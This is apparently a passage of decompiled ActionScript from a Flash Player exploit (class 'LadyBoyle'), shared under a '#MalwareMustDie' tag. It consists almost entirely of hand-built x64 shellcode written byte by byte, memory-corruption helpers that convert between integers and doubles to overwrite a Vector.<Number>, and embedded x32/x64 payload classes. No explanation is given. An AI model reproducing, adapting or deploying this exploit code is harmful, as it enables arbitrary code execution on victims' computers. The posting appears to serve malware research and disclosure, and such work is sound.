_local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(49863); _local17.writeUnsignedInt(0x44C74000); _local17.writeUnsignedInt(8398884); _local17.writeUnsignedInt(0x44C70000); _local17.writeUnsignedInt(139300); _local17.writeUnsignedInt(0x8B4C0000); _local17.writeUnsignedInt(3539943702); _local17.writeUnsignedInt(1222150984); _local17.writeUnsignedInt(268433539); _local17.writeUnsignedInt(40068); _local17.writeUnsignedInt(0x4C8D4C00); _local17.writeUnsignedInt(3125297188); _local17.writeUnsignedInt(0x42424242); _local17.writeUnsignedInt(0x42424242); _local17.writeUnsignedInt(3091304592); _local17.writeUnsignedInt(0x41414141); _local17.writeUnsignedInt(1221299016); _local17.writeUnsignedInt(539247815); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(139889484); _local17.writeUnsignedInt(1221787457); _local17.writeUnsignedInt(0x7400F883); _local17.writeUnsignedInt(3414902892); _local17.writeUnsignedInt(274107212); _local17.writeUnsignedInt(1221787457); _local17.writeUnsignedInt(8425101); _local17.writeUnsignedInt(0x8B4C0000); _local17.writeUnsignedInt(4282456150); _local17.writeUnsignedInt(1213393874); _local17.writeUnsignedInt(270814347); _local17.writeUnsignedInt(608471884); _local17.writeUnsignedInt(3388950536); _local17.writeUnsignedInt(2285144897); _local17.writeUnsignedInt(1307706184); _local17.writeUnsignedInt(860408115); _local17.writeUnsignedInt(3242306752); _local17.writeUnsignedInt(54791625); _local17.writeUnsignedInt(1975794376); _local17.writeUnsignedInt(3246475761); _local17.writeUnsignedInt(2460948186); _local17.writeUnsignedInt(1976187717); _local17.writeUnsignedInt(1149978840); _local17.writeUnsignedInt(2336505892); _local17.writeUnsignedInt(55321664); _local17.writeUnsignedInt(2336319170); _local17.writeUnsignedInt(2336507916); _local17.writeUnsignedInt(55319616); _local17.writeUnsignedInt(76235202); _local17.writeUnsignedInt(3254995080); _local17.writeUnsignedInt(3108606147); _local17.writeUnsignedInt(0x47474747); _local17.writeUnsignedInt(1095190343); _local17.writeUnsignedInt(268552001); _local17.writeUnsignedInt(0x4D000000); _local17.writeUnsignedInt(4285563277); _local17.writeUnsignedInt(2336882687); _local17.writeUnsignedInt(8997121); _local17.writeUnsignedInt(138513225); _local17.writeUnsignedInt(138447177); _local17.writeUnsignedInt(3108606096); _local17.writeUnsignedInt(0x48484848); _local17.writeUnsignedInt(0x48484848); _local17.writeUnsignedInt(3091304592); _local17.writeUnsignedInt(0x49494949); _local17.writeUnsignedInt(1090619717); _local17.writeUnsignedInt(278983); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(3282593165); _local17.writeUnsignedInt(0x90909090); _local18.data.now = new date() .time; _local18.flush(); _local18.close(); _local35 = new this.the_x64_Class(); /// x64 _local17.writeBytes(_local35, 0, _local35.length); _local12 = _local13; _local15 = ((((_local12 + 128) - _local10) - 16) / 8); _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local15 = ((((_local12 + 16) - _local10) - 16) / 8); _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local12 = (_local12 + _local14); _local17.position = _local14; //// Buiding x64 binary........... _local34 = _local17.position; _local17.position = (_local17.position + 224); _local17.writeUnsignedInt(_local25); _local17.position = _local34; _local17.position = (_local17.position + 160); _local17.writeUnsignedInt((_local12 + 0x0100)); _local17.writeUnsignedInt(_local31); _local17.position = _local34; _local17.writeUnsignedInt(_local37); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(64); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(_local39); _local17.writeUnsignedInt(0); _local17.position = (_local17.position + 40); _local17.writeUnsignedInt(_local36); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt((_local12 + 0x0100)); _local17.writeUnsignedInt(_local31); _local17.writeUnsignedInt(_local38); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(0x2000); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(_local37); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(_local26); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(_local40); _local17.writeUnsignedInt(0); _local17.position = (_local34 + 0x0100); _local17.writeUnsignedInt(1442615440); _local17.writeUnsignedInt(4041507656); _local17.writeUnsignedInt(1708274504); _local17.writeUnsignedInt(1616022344); _local17.writeUnsignedInt(408062792); _local17.writeUnsignedInt(542280520); _local17.writeUnsignedInt(1349684040); _local17.writeUnsignedInt(1253510984); _local17.writeUnsignedInt(3375582538); _local17.writeUnsignedInt(2898277192); _local17.writeUnsignedInt(41705788); _local17.writeUnsignedInt(3242270764); _local17.writeUnsignedInt(54791625); _local17.writeUnsignedInt(1391321800); _local17.writeUnsignedInt(3125367105); _local17.writeUnsignedInt(2460948186); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(1976187725); _local17.writeUnsignedInt(1384859717); _local17.writeUnsignedInt(1010993952); _local17.writeUnsignedInt(2344747848); _local17.writeUnsignedInt(34944); _local17.writeUnsignedInt(0xC0854800); _local17.writeUnsignedInt(2168991860); _local17.writeUnsignedInt(98540); _local17.writeUnsignedInt(0xFC8B4800); _local17.writeUnsignedInt(2162983240); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(2337325571); _local17.writeUnsignedInt(2336495688); _local17.writeUnsignedInt(55320640); _local17.writeUnsignedInt(1284065474); _local17.writeUnsignedInt(2303465508); _local17.writeUnsignedInt(1210065988); _local17.writeUnsignedInt(673465481); _local17.writeUnsignedInt(1497434347); _local17.writeUnsignedInt(311117914); _local17.writeUnsignedInt(1095860971); _local17.writeUnsignedInt(3669641552); _local17.writeUnsignedInt(22010614); _local17.writeUnsignedInt(0xE8000000); _local17.writeUnsignedInt(315); _local17.writeUnsignedInt(1225230664); _local17.writeUnsignedInt(2924948922); _local17.writeUnsignedInt(347); _local17.writeUnsignedInt(19523584); _local17.writeUnsignedInt(0x89480000); _local17.writeUnsignedInt(3125348423); _local17.writeUnsignedInt(1384617670); _local17.writeUnsignedInt(1); _local17.writeUnsignedInt(71400); _local17.writeUnsignedInt(0x47894800); _local17.writeUnsignedInt(1287276816); _local17.writeUnsignedInt(17245815); _local17.writeUnsignedInt(0xE8000000); _local17.writeUnsignedInt(259); _local17.writeUnsignedInt(407341384); _local17.writeUnsignedInt(4080056905); _local17.writeUnsignedInt(58441); _local17.writeUnsignedInt(0xF0E80000); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(1210075017); _local17.writeUnsignedInt(2370369419); _local17.writeUnsignedInt(32958); _local17.writeUnsignedInt(0x40B900); _local17.writeUnsignedInt(0x33480000); _local17.writeUnsignedInt(3115054016); _local17.writeUnsignedInt(0x0100); _local17.writeUnsignedInt(2156301640); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(2336805003); _local17.writeUnsignedInt(1451969752); _local17.writeUnsignedInt(3539943712); _local17.writeUnsignedInt(2156301640); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(860408115); _local17.writeUnsignedInt(51153627); _local17.writeUnsignedInt(2160328520); _local17.writeUnsignedInt(0xF57500F9); _local17.writeUnsignedInt(3352035144); _local17.writeUnsignedInt(1868759812); _local17.writeUnsignedInt(1153918574); _local17.writeUnsignedInt(1734935555); _local17.writeUnsignedInt(1153917998); _local17.writeUnsignedInt(1819019267); _local17.writeUnsignedInt(0x33450000); _local17.writeUnsignedInt(1153910985); _local17.writeUnsignedInt(12324); _local17.writeUnsignedInt(0x8D480000); _local17.writeUnsignedInt(32910); _local17.writeUnsignedInt(45629696); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(49863); _local17.writeUnsignedInt(0x44C74000); _local17.writeUnsignedInt(8398884); _local17.writeUnsignedInt(0x44C70000); _local17.writeUnsignedInt(139300); _local17.writeUnsignedInt(0x8B4C0000); _local17.writeUnsignedInt(3539943702); _local17.writeUnsignedInt(1222150984); _local17.writeUnsignedInt(268433539); _local17.writeUnsignedInt(40068); _local17.writeUnsignedInt(0x4C8D4C00); _local17.writeUnsignedInt(3125297188); _local17.writeUnsignedInt((_local12 + 900)); _local17.writeUnsignedInt(_local31); _local17.writeUnsignedInt(3091304592); _local17.writeUnsignedInt(_local35.length); _local17.writeUnsignedInt(1221299016); _local17.writeUnsignedInt(539247815); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(139889484); _local17.writeUnsignedInt(1221787457); _local17.writeUnsignedInt(0x7400F883); _local17.writeUnsignedInt(3414902892); _local17.writeUnsignedInt(274107212); _local17.writeUnsignedInt(1221787457); _local17.writeUnsignedInt(8425101); _local17.writeUnsignedInt(0x8B4C0000); _local17.writeUnsignedInt(4282456150); _local17.writeUnsignedInt(1213393874); _local17.writeUnsignedInt(270814347); _local17.writeUnsignedInt(608471884); _local17.writeUnsignedInt(3388950536); _local17.writeUnsignedInt(2285144897); _local17.writeUnsignedInt(1307706184); _local17.writeUnsignedInt(860408115); _local17.writeUnsignedInt(3242306752); _local17.writeUnsignedInt(54791625); _local17.writeUnsignedInt(1975794376); _local17.writeUnsignedInt(3246475761); _local17.writeUnsignedInt(2460948186); _local17.writeUnsignedInt(1976187717); _local17.writeUnsignedInt(1149978840); _local17.writeUnsignedInt(2336505892); _local17.writeUnsignedInt(55321664); _local17.writeUnsignedInt(2336319170); _local17.writeUnsignedInt(2336507916); _local17.writeUnsignedInt(55319616); _local17.writeUnsignedInt(76235202); _local17.writeUnsignedInt(3254995080); _local17.writeUnsignedInt(3108606147); _local17.writeUnsignedInt(_local10); _local17.writeUnsignedInt(_local31); _local17.writeUnsignedInt(268552001); _local17.writeUnsignedInt(0x4D000000); _local17.writeUnsignedInt(4285563277); _local17.writeUnsignedInt(2336882687); _local17.writeUnsignedInt(8997121); _local17.writeUnsignedInt(138513225); _local17.writeUnsignedInt(138447177); _local17.writeUnsignedInt(3108606096); _local17.writeUnsignedInt(_local11); _local17.writeUnsignedInt(_local31); _local17.writeUnsignedInt(3091304592); _local17.writeUnsignedInt(_local16); _local17.writeUnsignedInt(1090619717); _local17.writeUnsignedInt(278983); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(3282593165); _local17.writeUnsignedInt(0x90909090); _local15 = (((_local11 - _local10) - 16) / 8); (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local12, _local31); new number(_local6.tostring()); return; }; do {} while (1); } public function randRange(_arg1: number, _arg2: number): number { var _local3: number = (math.floor((math.random() * ((_arg2 - _arg1) + 1))) + _arg1); return (_local3); } public function empty(): void { var _local1: textfield = new textfield(); _local1.autosize = TextFieldAutoSize.left; var _local2: textformat = new textformat(); _local2.size = 30; _local2.font = "Arial"; _local2.color = 0xFF0000; _local1.settextformat(_local2); _local1.text = " "; addChild(_local1); } public function UintToDouble(_arg1: uint, _arg2: uint): number { var _local3: ByteArray = new ByteArray(); _local3.endian = Endian.LITTLE_ENDIAN; _local3.writeInt(_arg1); _local3.writeInt(_arg2); _local3.position = 0; return (_local3.readDouble()); } public function ReadDouble(_arg1: Vector. < Number > , _arg2: uint): Vector. < uint > { var _local3: Vector. < uint > = new < uint > [0, 0]; var _local4: number = _arg1[_arg2]; var _local5: ByteArray = new ByteArray(); _local5.position = 0; _local5.writeDouble(_local4); _local3[1] = ((((_local5[0] * 16777216) + (_local5[1] * 65536)) + (_local5[2] * 0x0100)) + _local5[3]); _local3[0] = ((((_local5[4] * 16777216) + (_local5[5] * 65536)) + (_local5[6] * 0x0100)) + _local5[7]); return (_local3); } } var _local1: * = new LadyBoyle(); return (_local1); } //package package { import mx.core.*; public class LadyBoyle_the_x32_Class extends ByteArrayAsset { } } //package package { import mx.core.*; public class LadyBoyle_the_x64_Class extends ByteArrayAsset { } } //package ---- #MalwareMustDie